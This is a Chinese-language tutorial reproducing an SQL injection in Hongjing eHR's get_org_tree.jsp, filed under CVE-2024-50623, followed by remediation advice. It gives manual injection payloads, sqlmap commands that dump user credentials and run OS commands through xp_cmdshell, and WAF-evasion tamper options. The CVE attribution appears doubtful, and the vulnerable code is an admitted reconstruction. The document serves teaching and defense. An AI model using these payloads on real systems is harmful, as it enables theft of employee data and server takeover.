CVE-2024-50623漏洞复现:从SQL注入原理到宏景eHR实战利用
1. 项目概述与背景最近在梳理一些历史遗留系统的安全风险时宏景eHR系统的一个老漏洞又进入了我的视野。这个漏洞的编号是CVE-2024-50623核心触发点在get_org_tree.jsp这个文件上一个典型的SQL注入漏洞。虽然这个漏洞已经有些年头了相关的补丁也早已发布但直到今天在一些未及时更新的老旧系统或内网测试环境中依然能发现它的踪迹。复现和研究这类漏洞不是为了去攻击谁而是作为安全从业者或开发人员我们必须理解攻击是如何发生的才能更好地在代码层面进行防御。今天我就以一个“攻击者”的视角带你完整走一遍这个漏洞的复现过程同时深入拆解其背后的原理、利用手法以及最重要的——我们该如何避免写出这样的代码。宏景eHR作为一款曾经广泛应用的人力资源管理系统其架构是典型的B/S模式后端使用JSPJava数据库多为Oracle或SQL Server。get_org_tree.jsp这个文件从名字就能猜到是用来获取组织架构树形数据的接口。问题就出在它处理前端参数时直接将其拼接到了SQL语句中没有经过任何有效的过滤或预编译处理这就为SQL注入打开了大门。通过这个漏洞攻击者可以读取数据库中的敏感信息比如员工账号、密码哈希、薪资数据甚至获取数据库服务器的控制权危害极大。下面我们就从环境搭建开始一步步揭开它的面纱。2. 漏洞环境搭建与核心原理剖析2.1 实验环境准备要复现漏洞首先得有一个“靶子”。我强烈建议所有学习者在虚拟机或完全隔离的网络环境中进行此类实验绝对不要在生产环境或任何公网系统上尝试。1. 靶机环境我选择在VMware中安装一台Windows Server 2008 R2的虚拟机这比较符合当年宏景eHR系统常见的部署环境。在虚拟机中你需要安装以下组件Java环境JDK 1.7或1.8。宏景eHR对JDK版本有一定要求1.8是一个比较兼容的选择。安装后务必配置好JAVA_HOME和Path环境变量。Web服务器Apache Tomcat 7.x。下载Windows Service Installer版本安装时选择将Tomcat作为服务运行并设置一个你能记住的管理员密码。数据库Microsoft SQL Server 2008 R2 Express。安装时选择混合身份验证模式Windows身份验证和SQL Server身份验证并为sa账户设置一个强密码。安装完成后记得通过SQL Server Management Studio (SSMS)启用TCP/IP协议这是远程连接的关键。漏洞应用你需要找到包含漏洞版本的宏景eHR安装包。通常这是一个WAR包或者一套JSP文件。将应用部署到Tomcat的webapps目录下。例如将HJEHR文件夹复制到webapps目录Tomcat启动时会自动解压部署。2. 攻击机环境我使用另一台Kali Linux虚拟机作为攻击机上面集成了我们需要的所有工具。系统Kali Linux 2024.x。必要工具sqlmap自动化SQL注入检测与利用的神器。Burp Suite用于拦截和修改HTTP请求手动测试注入点。Nmap用于扫描靶机开放端口和服务。浏览器带代理插件如FoxyProxy。环境联通性检查确保攻击机能ping通靶机的IP地址。在Kali上使用nmap -sV 靶机IP扫描确认靶机的80/8080Tomcat和1433SQL Server端口是开放的。注意所有软件请务必从官方或可信源下载旧版本。搭建这类环境本身就是一个学习过程你会遇到各种兼容性问题比如某个JAR包冲突、数据库驱动版本不对等。我的经验是详细记录每一步操作和报错善用搜索引擎这些问题都能解决。2.2 漏洞原理深度解析为什么get_org_tree.jsp会存在SQL注入我们来看一段高度还原的漏洞代码逻辑非真实源码但原理一致% // 从前端请求中直接获取‘id’参数 String orgId request.getParameter(id); // 危险操作直接将用户输入拼接到SQL语句中 String sql SELECT * FROM H_ORG WHERE ORG_ID orgId AND IS_VALID 1; Connection conn ... // 获取数据库连接 Statement stmt conn.createStatement(); // 创建Statement对象 ResultSet rs stmt.executeQuery(sql); // 执行拼接后的SQL // ... 后续处理结果集 %关键问题分析使用Statement而非PreparedStatement这是根源。Statement接口用于执行静态SQL语句。当SQL字符串通过“”号拼接用户输入orgId时用户输入的内容就成为了SQL语法的一部分。缺乏输入验证与过滤代码没有对orgId参数进行任何合法性检查。它可能期望一个数字但如果用户传入的是1 OR 11 --整个SQL语义就被篡改了。错误信息回显这类系统在开发调试阶段常常将数据库错误信息直接返回给前端。这给了攻击者极大的便利他们可以通过精心构造的输入触发并观察数据库报错从而推断出数据库类型、表结构等信息。这就是所谓的“基于错误回显的SQL注入”。漏洞利用链推演攻击者访问的URL可能形如http://靶机IP:8080/HJEHR/get_org_tree.jsp?idPAYLOAD当PAYLOAD为1时执行SELECT * FROM H_ORG WHERE ORG_ID 1当PAYLOAD为1 AND 12时逻辑为假页面可能返回空或异常用于探测注入点是否可用。当PAYLOAD为1 OR 11 --时执行SELECT * FROM H_ORG WHERE ORG_ID 1 OR 11 -- AND IS_VALID 1。--在SQL Server和Oracle中是注释符它注释掉了后面的AND IS_VALID 1而11永远为真这意味着这条语句可能会返回H_ORG表中的所有数据。3. 手动漏洞探测与信息收集在动用自动化工具之前手动探测能帮助我们更深刻地理解漏洞的本质。这里我们使用Burp Suite作为主要工具。3.1 初步探测与注入点确认配置代理在浏览器中配置代理指向Burp Suite默认127.0.0.1:8080并安装Burp的CA证书以拦截HTTPS流量。访问页面在浏览器中访问靶机上的eHR系统找到可能调用组织树功能的页面。通常这类请求会在页面加载时自动发起。拦截请求打开Burp的Proxy拦截功能刷新页面。在HTTP历史记录中寻找类似get_org_tree.jsp或包含tree、org等关键词的请求。找到目标请求将其发送到Burp的Repeater模块方便我们反复测试。基础探测假设请求参数是id100。正常请求发送id100观察返回结果通常是一段JSON或XML格式的组织数据。逻辑真测试发送id100 AND 11。如果页面正常返回与id100结果一致说明参数可能被带入SQL执行。逻辑假测试发送id100 AND 12。如果页面返回空、报错或与正常结果明显不同这是一个强烈的SQL注入迹象。因为12为假整个查询条件不成立。注释符测试发送id100--注意空格。如果页面依然正常返回说明注释符生效进一步确认了注入。3.2 判断数据库类型不同数据库的SQL语法和函数略有不同判断数据库类型是后续利用的基础。我们通过报错信息或特有函数来识别。方法一基于报错信息构造一个必然出错的Payloadid100 AND (SELECT * FROM (SELECT 1)a) 1如果返回错误信息中包含“SQL Server”或“Microsoft”字样基本可以确定是MSSQL。如果包含“ORA-”开头则是Oracle。方法二使用数据库特有函数测试SQL Serverid100 AND version0version是SQL Server的系统变量存放版本信息。如果页面正常或返回包含版本信息的错误则是SQL Server。测试Oracleid100 AND (SELECT banner FROM v$version WHERE rownum1) IS NOT NULLv$version是Oracle的系统视图。如果页面正常可能是Oracle。在我的测试环境中使用version触发了包含“Microsoft SQL Server”字样的错误信息从而确定了数据库类型为SQL Server。实操心得手动探测时Burp Repeater的“Compare”功能非常好用。你可以同时发送原始请求和测试请求然后高亮显示差异能非常直观地看到页面内容的变化比肉眼对比高效得多。4. 利用SQLMap进行自动化深度利用手动验证了注入点后我们可以使用sqlmap这个自动化工具来高效地获取数据。它的强大之处在于能自动识别注入类型、数据库并提供了丰富的数据提取功能。4.1 基础探测与数据库枚举首先我们将Burp中拦截到的完整HTTP请求保存到一个文本文件中比如req.txt。这样可以将Cookie、User-Agent等头部信息一并提供给sqlmap模拟真实的浏览器会话。# 1. 确认注入点并获取当前数据库 sqlmap -r req.txt --batch --current-db # 参数解释 # -r req.txt: 从文件中加载HTTP请求 # --batch: 以非交互模式运行所有默认选项都选Yes适合自动化 # --current-db: 获取当前应用使用的数据库名执行后sqlmap会先进行一系列测试然后输出类似current database: HREmployee的结果。# 2. 枚举指定数据库中的所有表 sqlmap -r req.txt --batch -D HREmployee --tables # 参数解释 # -D HREmployee: 指定目标数据库名 # --tables: 枚举该库下的所有表这一步会列出HREmployee数据库里所有的表名。作为人力资源系统我们需要重点关注诸如T_User用户表、T_Salary薪资表、T_Person人员信息表等敏感表。4.2 提取敏感表结构与数据假设我们发现了T_User表下一步就是查看它的结构和数据。# 3. 枚举指定表的所有列名 sqlmap -r req.txt --batch -D HREmployee -T T_User --columns # 参数解释 # -T T_User: 指定目标表名 # --columns: 枚举该表的所有列输出会显示列名和数据类型例如UserID(int),UserName(varchar),Password(varchar),RealName(varchar)等。# 4. 导出指定列的数据 sqlmap -r req.txt --batch -D HREmployee -T T_User -C UserName,Password,RealName --dump # 参数解释 # -C UserName,Password,RealName: 指定要导出的列 # --dump: 导出这些列的所有数据这是最关键的一步sqlmap会将T_User表中所有用户的账号、密码通常是哈希值如MD5和真实姓名导出到本地。如果密码哈希强度不高如单纯的MD5攻击者可以通过彩虹表进行破解从而获得系统登录权限。4.3 高级利用获取操作系统Shell在极少数配置不当的情况下如果数据库服务以高权限运行如sa账户并且启用了xp_cmdshell等存储过程SQL注入甚至可以导致远程命令执行RCE。# 5. 检查是否是DBA权限 sqlmap -r req.txt --batch --is-dba # 如果返回True说明当前数据库用户具有管理员权限。 # 6. 尝试执行操作系统命令需xp_cmdshell已启用 sqlmap -r req.txt --batch --os-cmd whoami # --os-cmd: 尝试执行操作系统命令请注意现代或安全配置的SQL Server默认禁用xp_cmdshell。sqlmap会先尝试启用它但这通常需要很高的权限并可能触发安全告警。在实际渗透测试中这一步需格外谨慎并确保已获得明确授权。注意事项使用sqlmap的--batch模式虽然方便但有时会过于“暴力”可能产生大量异常请求。在生产环境授权的渗透测试中我更喜欢结合--level和--risk参数精细控制测试深度并使用--threads控制并发数减少对目标系统的影响。例如sqlmap -r req.txt --level 3 --risk 2 --threads 55. 漏洞修复方案与安全编码实践复现漏洞是为了更好地修复和防御。针对这类SQL注入漏洞修复方案是明确且直接的。5.1 立即修复方案使用预编译语句PreparedStatement这是根治SQL注入的唯一最佳实践。它将SQL语句的骨架带占位符?与数据参数分开传送给数据库数据库会先编译SQL骨架再将参数作为纯数据处理从根本上杜绝了参数被解释为代码的可能。// 修复后的代码示例 String sql SELECT * FROM H_ORG WHERE ORG_ID ? AND IS_VALID 1; PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setInt(1, Integer.parseInt(orgId)); // 设置参数并转换为期望的类型 ResultSet rs pstmt.executeQuery();输入验证与过滤在参数进入SQL之前进行严格的验证。例如如果id应该是数字就使用Integer.parseInt()转换并捕获NumberFormatException异常对于非数字输入直接拒绝。最小权限原则为Web应用连接数据库的账户分配最小必要的权限。通常只授予其对特定表的SELECT权限绝不使用sa或dbo这样的高权限账户。这样即使发生注入危害也被限制在有限范围内。关闭错误回显在生产环境中配置Web服务器和应用程序不要将详细的数据库错误信息直接返回给用户。应使用统一的、友好的错误页面。5.2 长期安全开发规范ORM框架在新项目或重构时积极使用MyBatis、Hibernate、JPA等ORM框架。这些框架通常内部使用预编译语句并能提供更安全、便捷的数据访问方式。但要注意即使使用MyBatis如果错误地使用${}进行字符串拼接ORDER BY ${sortField}同样存在注入风险必须使用#{}。安全扫描与代码审计将静态应用程序安全测试SAST工具如Fortify、Checkmarx、SonarQube集成到CI/CD流程中。定期对代码进行人工安全审计重点关注数据访问层。Web应用防火墙WAF在应用前端部署WAF可以拦截常见的SQL注入攻击Payload作为一道有效的边界防护。但它不能替代安全的代码应视为纵深防御的一环。定期更新与补丁管理关注官方安全公告如宏景官方发布的针对CVE-2024-50623的补丁并及时应用到所有相关系统。6. 复现过程中的常见问题与排查在复现这个漏洞时你可能会遇到以下几个典型问题问题1访问get_org_tree.jsp返回404或500错误。排查确认应用是否成功部署到Tomcat。检查webapps目录下是否存在对应的应用文件夹如HJEHR以及文件夹内是否有get_org_tree.jsp文件。检查Tomcat日志文件logs/catalina.out或logs/localhost.yyyy-MM-dd.log查看是否有类加载失败、数据库连接失败等错误信息。常见的如缺少JDBC驱动JAR包需要将sqljdbc4.jar或ojdbc.jar放入应用的WEB-INF/lib目录下。确认数据库服务SQL Server是否已启动并且Tomcat配置的数据源连接字符串通常在context.xml或web.xml中是否正确。问题2手动测试时无论输入什么Payload页面都返回相同的错误或空白。排查可能参数名不对。使用Burp抓取页面加载时的所有请求仔细寻找与组织树相关的请求参数名可能是node、orgId、parentId等不一定是id。可能注入点不在GET参数而在POST参数、Cookie或HTTP头部。Burp Suite的“Params”选项卡会清晰地列出所有参数位置。可能存在简单的过滤如过滤了空格。尝试使用注释符/**/代替空格id100/**/AND/**/11。可能不是数字型注入而是字符型注入。尝试在参数值前后加上单引号id100 AND 11。问题3SQLMap运行后报告“所有测试参数似乎都不注入”。排查检查req.txt文件格式是否正确是否包含了完整的HTTP请求包括Cookie、Host等头部。可能网站有CSRF Token或动态Session验证。尝试使用--csrf-token和--csrf-url参数或者使用--random-agent和--keep-alive来模拟更真实的会话。可能WAF或简单的防护机制拦截了sqlmap的测试流量。尝试使用--tamper参数如--tamperspace2comment对Payload进行混淆。回到手动测试用Burp Repeater确认注入点确实存在且可被利用。问题4使用--os-cmd参数执行命令失败。排查首先用--is-dba确认不是DBA权限。即使用户是DBAxp_cmdshell存储过程也可能被禁用。SQL Server默认禁用。sqlmap会尝试用sp_configure启用它但这需要ALTER SETTINGS服务器权限且可能失败。考虑其他命令执行途径如利用SQL Server的OLE Automation Proceduressp_oacreate等但这同样需要特定权限且可能被禁用。重要在真实授权测试中获取命令执行权限是高风险操作必须有明确的授权范围和应急方案。在内网靶场练习时可以深入研究这些技术原理。整个复现过程从环境搭建的琐碎到手动探测的惊喜再到工具利用的效率最后回归到安全防御的本质是一次非常完整的安全研究体验。它再次印证了一个铁律所有外部输入都是不可信的。作为开发者必须在脑海里绷紧这根弦将参数化查询作为数据库操作的肌肉记忆。而作为安全人员理解攻击链的每一步才能设计出更有效的防御策略和检测规则。这个漏洞本身并不复杂但它像一面镜子映照出我们在软件开发生命周期中安全环节的缺失与宝贵。